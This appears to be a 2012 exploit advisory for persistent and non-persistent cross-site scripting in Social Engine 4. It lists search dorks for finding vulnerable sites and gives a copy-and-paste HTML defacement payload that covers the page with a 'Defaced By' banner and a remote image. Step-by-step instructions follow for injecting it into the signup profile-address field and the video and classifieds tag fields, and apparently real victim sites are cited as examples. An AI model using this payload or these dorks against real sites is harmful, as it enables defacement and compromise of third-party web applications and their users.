=====================================================
Social Engine 4 Persistent XSS & Non-Persistent XSS
=====================================================
:-------------------------------------------:
: # Exploit Title : Social Engine 4 Persistent XSS & Non-Persistent XSS
: # Date : 27 July 2012
: # Author : X-Cisadane
: # Software Link : http://www.socialengine.com/buy-social-engine
: # Version : ALL
: # Category : Web Applications
: # Vulnerability : Persistent & Non-Persistent XSS
: # Tested On : Mozilla Firefox 7.0.1 (Windows)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta
Anonymous Club, Winda Utari
:-------------------------------------------:
DORKS
=====
"This will be the end of your profile link, for example:"
OR
intext:"This page will contain the privacy statement of your choice."
XSS CODE
=======
<DIV align=left>
<DIV id=Layer1 style="BORDER-RIGHT: #000000 1px; BORDER-TOP: #000000 1px; 1; LEFT: 1px;
BORDER-LEFT: #000000 1px; WIDTH: 1500px; BORDER-BOTTOM: #000000 1px; POSITION: absolute;
TOP: 0px; HEIGHT: 5000px; BACKGROUND-COLOR: #000000; layer-background-color: #000000">
<br /><br />
<br>
<center>
<font face="Arial" color="red" size="4"><strong><br><br><br>Defaced By : X-Cisadane
<br>
</center>
<font face="Courier New" color="#FF0000" size="3"><center>Greetz To : X-Code, Borneo Crew,
Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club and Winda
Utari</center></font>
<center><img
src="http://obnoxiousgamer.files.wordpress.com/2010/01/jollyroger.gif"></img></center>
<center><font face="arial" size="3" color="#FF0000">
<marquee behavior="alternate" scrolldelay="100" style="width: 90%">Please fix your hole!
</li>
</ul>
</td>
</tr>
</table>
</div>
Proof of Concept
================
1. Non-Persistent XSS on Sign Up Page
Example : http://SITE TARGET/signup
Copy & Paste XSS Code into Profile Address Field
Pic : http://i45.tinypic.com/v46iyd.png
Pic : http://i49.tinypic.com/156e79h.png
2. Persistent XSS on Tags (Keywords) Field
- In the Post New Video Page (http://SITE TARGET/videos/create)
Copy & Paste XSS Code into Tags (keywords) Field
Picture : http://i50.tinypic.com/14soaci.png
Example : http://www.ankabooot.com/videos/11081/523
- In the Post New Classfields Listing Page (http://SITE TARGET/classifieds/create)
Copy & Paste XSS Code into Tags (keywords) Field
Picture : http://i47.tinypic.com/2ptcv29.png
Example : http://www.contact.me/index.php/classifieds/27205/4/test
All XSS Flaws tested with Mozilla Firefox 7.0.1 (Windows)
